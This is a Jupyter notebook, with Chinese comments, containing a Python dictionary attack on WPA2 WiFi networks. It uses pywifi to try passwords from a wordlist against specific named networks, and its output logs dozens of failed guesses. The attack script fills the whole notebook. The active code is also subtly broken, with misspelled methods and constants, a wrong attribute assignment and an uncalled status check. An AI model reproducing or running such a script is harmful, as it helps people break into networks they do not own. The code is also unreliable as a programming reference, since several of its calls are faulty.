{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "\n",
    "# import pywifi   #要安装pywifi和comtypes两个模块\n",
    "# import time\n",
    "# from pywifi import const\n",
    "# #bic()是显示着已连接的WiFi名称与本次程序无关\n",
    "# def bic():\n",
    "#     wifi1=pywifi.PyWiFi()\n",
    "#     ifaces1=wifi1.interfaces()[0]\n",
    "#     ifaces1.scan()\n",
    " \n",
    "#     result=ifaces1.scan_results()\n",
    "#     for data in result:\n",
    "#         print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))\n",
    "#         #乱码部分加上encode('raw_unicode_escape').decode('utf-8'))\n",
    "# bic()\n",
    " \n",
    "# #测试连接返回连接窗口\n",
    "# def wificonnect(abc):\n",
    "#     #抓取网卡接口\n",
    "#     wifi=pywifi.PyWiFi()\n",
    "#     #获取第一个网卡接口\n",
    "#     iface=wifi.interfaces()[0]\n",
    "#     #睡眠一段时间，断开所有连接\n",
    "#     iface.disconnect()\n",
    "#     time.sleep(1)\n",
    "#     wifistatus=iface.status()\n",
    " \n",
    "#     if wifistatus==const.IFACE_DISCONNECTED:\n",
    "#         print('未连接')\n",
    " \n",
    "#         #创建WiFi连接文件\n",
    "#         profile=pywifi.profile()\n",
    "#         #要连接的WiFi名称\n",
    "#         profile.ssid='HONOR 9X'\n",
    "#         #网卡的开放\n",
    "#         profile.auth=const.AUTH_ALG_OPEN\n",
    " \n",
    "#         #WiFi的加密算法\n",
    "#         profile.akm.append=(const.AKM_TYPE_WPA2PSK)\n",
    "#         #加密单元\n",
    "#         profile.cipher=const.CIPHER_TYPE_CCMP\n",
    "#         #初始化密码\n",
    "#         profile.key=abc\n",
    " \n",
    " \n",
    "#         #删除之前连接的所有WiFi\n",
    "#         iface.remove_all_network_profiles(profile)\n",
    " \n",
    "#         #设定新的连接文件\n",
    "#         tep_proifle=iface.add_network_profile()\n",
    "#         #用新的文件去测试连接\n",
    "#         iface.connect(tep_proifle)\n",
    " \n",
    "#         #wifi连接的时间\n",
    "#         time.sleep(4)\n",
    "#         if iface.status()==const.IFACE_CONNECTED:   #const.IFACE_CONNECTED默认等于4想看见他的参数可以自行百度\n",
    "#             return True\n",
    "#         else:\n",
    "#             return False\n",
    "#     else:\n",
    "#         print('已连接')\n",
    " \n",
    "# def readpassword():\n",
    "#     print('开始破解')\n",
    "#     f = open(\"fujun.txt\",encoding=\"utf-8\")  #先打开文件1.txt是密码是密码字典，可以在网上下载或者自动生成\n",
    "#     while True:\n",
    "#         try:\n",
    "#             passstr=f.readline()\n",
    "#             bool=wificonnect(passstr)\n",
    "#             if bool:\n",
    "#                 print('密码正确',passstr)\n",
    "#                 print('已连接')\n",
    "#             else:\n",
    "#                 print('密码错误',passstr)\n",
    "#         except:\n",
    "#             continue\n",
    " \n",
    "# readpassword()\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import pywifi\n",
    "from pywifi import const\n",
    "import time\n",
    "# def gic():\n",
    "#     wifi=pywifi.PyWiFi()\n",
    "#     #获取无线网卡\n",
    "#     ifaces=wifi.interfaces()[0]\n",
    "#     #列表\n",
    "#     #打印网卡名称\n",
    "    \n",
    "#     #print(ifaces.name())\n",
    "#     #打印网卡连接状态 0未连接 4链接\n",
    "#     print(ifaces.status())\n",
    "#     if ifaces.status()==const.IFACE_CONNECTED:\n",
    "#         print('已连接')\n",
    "#     else:\n",
    "#         print('未连接')\n",
    "# #扫秒WiFi\n",
    "# def bies():\n",
    "#     wifi=pywifi.PyWiFi()\n",
    "#     ifaces=wifi.interfaces()[0]\n",
    "#     #扫描WiFi\n",
    "#     ifaces.scan()\n",
    "#     #获取扫描结果\n",
    "#     result=ifaces.scan_results()\n",
    "#     for name in result:\n",
    "#         print(name.ssid)\n",
    "#     print(result)\n",
    "def connwifi(pwd):\n",
    "    wifi=pywifi.PyWiFi()\n",
    "    \n",
    "    ifaces=wifi.interfaces()[0]\n",
    "    #断开链接\n",
    "    ifaces.disconnect()\n",
    "    time.sleep(1)\n",
    "    wifistatus=ifaces.status()\n",
    "    \n",
    "    if wifistatus==const.IFACE_DISCONNECTED:\n",
    "        print('未连接')\n",
    "        profile=pywifi.Profile()\n",
    "        wifi.ssid='TP-LINK_4D12'\n",
    "        profile.auth=const.AUTH_ALG_OPEN\n",
    "        profile.akm.oppend(const.AKM_TYPE_WPA2PASK)\n",
    "        profile.cipher=const.CIPHER_TYPE_CCMP\n",
    "        profile.key=pwd\n",
    "        ifaces.remove_all_network_profile()\n",
    "        tep_profile=ifaces.add_network_profile(profile)\n",
    "        ifaces.connect(tep_profile)\n",
    "        time.sleep(4)\n",
    "        if ifaces.status==const.IFACE_CONNECTED:\n",
    "            return True\n",
    "        else:\n",
    "            return False\n",
    "        \n",
    "        print(profile)\n",
    "        \n",
    "    else:\n",
    "        print('已连接')  \n",
    "def readpassword():\n",
    "    print('开始破解')\n",
    "    path='fujun.txt'\n",
    "    file=open(path,'r')\n",
    "    \n",
    "    while True:\n",
    "        try:\n",
    "            \n",
    "            passstr=file.readline()\n",
    "            bool=connwifi(passstr)\n",
    "            if bool:\n",
    "                print('密码ok')\n",
    "                print(passstr)\n",
    "                break\n",
    "            else:\n",
    "                print('密码not')\n",
    "                print(passstr)\n",
    "        except:\n",
    "            continue\n",
    "            \n",
    "readpassword()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "开始破解\n",
      "12345678\n",
      "\n",
      "未连接\n",
      "12457896\n",
      "\n",
      "未连接\n",
      "32888888\n",
      "\n",
      "未连接\n",
      "96385241\n",
      "\n",
      "未连接\n",
      "32888888000\n",
      "\n",
      "未连接\n",
      "001\n",
      "\n",
      "未连接\n",
      "002\n",
      "\n",
      "未连接\n",
      "003\n",
      "\n",
      "未连接\n",
      "004\n",
      "\n",
      "未连接\n",
      "005\n",
      "\n",
      "未连接\n",
      "006\n",
      "\n",
      "未连接\n",
      "007\n",
      "\n",
      "未连接\n",
      "008\n",
      "\n",
      "未连接\n",
      "009\n",
      "\n",
      "未连接\n",
      "010\n",
      "\n",
      "未连接\n",
      "011\n",
      "\n",
      "未连接\n",
      "012\n",
      "\n",
      "未连接\n",
      "013\n",
      "\n",
      "未连接\n",
      "014\n",
      "\n",
      "未连接\n",
      "015\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:26,366 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "016\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:27,368 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "017\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:28,372 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "018\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:29,373 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "019\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:30,377 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "020\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:31,379 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "021\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:32,383 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "022\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:33,387 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "023\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:34,391 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "024\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:35,394 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "025\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:36,396 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "026\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:37,398 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "027\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:38,402 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "028\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:39,406 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "029\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:40,411 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "030\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:41,414 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "031\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:42,418 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "032\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:43,421 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "033\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:44,424 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "034\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:45,428 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "035\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:46,430 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "036\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:47,435 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "037\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:48,440 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "038\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:49,444 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "039\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:50,448 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "040\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:51,453 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "041\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:52,455 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "042\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:53,458 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "043\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:54,463 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "044\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:55,468 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "045\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:56,473 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "046\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:57,478 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "047\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:58,482 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "048\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:30:59,486 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "049\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:00,491 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "050\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:01,494 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "051\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:02,497 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "052\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:03,502 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "053\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:04,506 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "054\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:05,507 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "055\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:06,511 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "056\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:07,517 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "057\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:08,522 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "058\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:09,527 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "059\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:10,530 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "060\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:11,533 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "061\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:12,536 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "062\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:13,540 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "063\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:14,546 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "064\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:15,550 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "065\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:16,554 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "066\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:17,558 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "067\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:18,561 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "068\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:19,565 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "069\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:20,568 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "070\n",
      "\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "pywifi 2020-05-15 19:31:21,572 ERROR Open handle failed!\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "未连接\n",
      "071\n",
      "\n"
     ]
    }
   ],
   "source": [
    "import pywifi\n",
    "from pywifi import const\n",
    "import time\n",
    "# def gic():\n",
    "#     wifi=pywifi.PyWiFi()\n",
    "#     #获取无线网卡\n",
    "#     ifaces=wifi.interfaces()[0]\n",
    "#     #列表\n",
    "#     #打印网卡名称\n",
    "    \n",
    "#     #print(ifaces.name())\n",
    "#     #打印网卡连接状态 0未连接 4链接\n",
    "#     print(ifaces.status())\n",
    "#     if ifaces.status()==const.IFACE_CONNECTED:\n",
    "#         print('已连接')\n",
    "#     else:\n",
    "#         print('未连接')\n",
    "# #扫秒WiFi\n",
    "# def bies():\n",
    "#     wifi=pywifi.PyWiFi()\n",
    "#     ifaces=wifi.interfaces()[0]\n",
    "#     #扫描WiFi\n",
    "#     ifaces.scan()\n",
    "#     #获取扫描结果\n",
    "#     result=ifaces.scan_results()\n",
    "#     for name in result:\n",
    "#         print(name.ssid)\n",
    "#     print(result)\n",
    "def connwifi(pwd):\n",
    "    wifi=pywifi.PyWiFi()\n",
    "    \n",
    "    ifaces=wifi.interfaces()[0]\n",
    "    #断开链接\n",
    "    ifaces.disconnect()\n",
    "    time.sleep(1)\n",
    "    wifistatus=ifaces.status()\n",
    "    \n",
    "    if wifistatus==const.IFACE_DISCONNECTED:\n",
    "        print('未连接')\n",
    "        profile=pywifi.Profile()\n",
    "        wifi.ssid='TP-LINK_4D12'\n",
    "        profile.auth=const.AUTH_ALG_OPEN\n",
    "        profile.akm.oppend(const.AKM_TYPE_WPA2PASK)\n",
    "        profile.cipher=const.CIPHER_TYPE_CCMP\n",
    "        profile.key=pwd\n",
    "        ifaces.remove_all_network_profile()\n",
    "        tep_profile=ifaces.add_network_profile(profile)\n",
    "        ifaces.connect(tep_profile)\n",
    "        time.sleep(4)\n",
    "        if ifaces.status==const.IFACE_CONNECTED:\n",
    "            return True\n",
    "        else:\n",
    "            return False\n",
    "        \n",
    "        print(profile)\n",
    "        \n",
    "    else:\n",
    "        print('已连接')  \n",
    "def readpassword():\n",
    "    print('开始破解')\n",
    "    path='fujun.txt'\n",
    "    file=open(path,'r')\n",
    "    \n",
    "    while True:\n",
    "        try:\n",
    "            \n",
    "            passstr=file.readline()\n",
    "            print(passstr)\n",
    "            bool=connwifi(passstr)\n",
    "            if bool:\n",
    "                print('密码ok')\n",
    "                print(passstr)\n",
    "                break\n",
    "            else:\n",
    "                print('密码not')\n",
    "                print(passstr)\n",
    "        except:\n",
    "            continue\n",
    "            \n",
    "readpassword()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.1"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
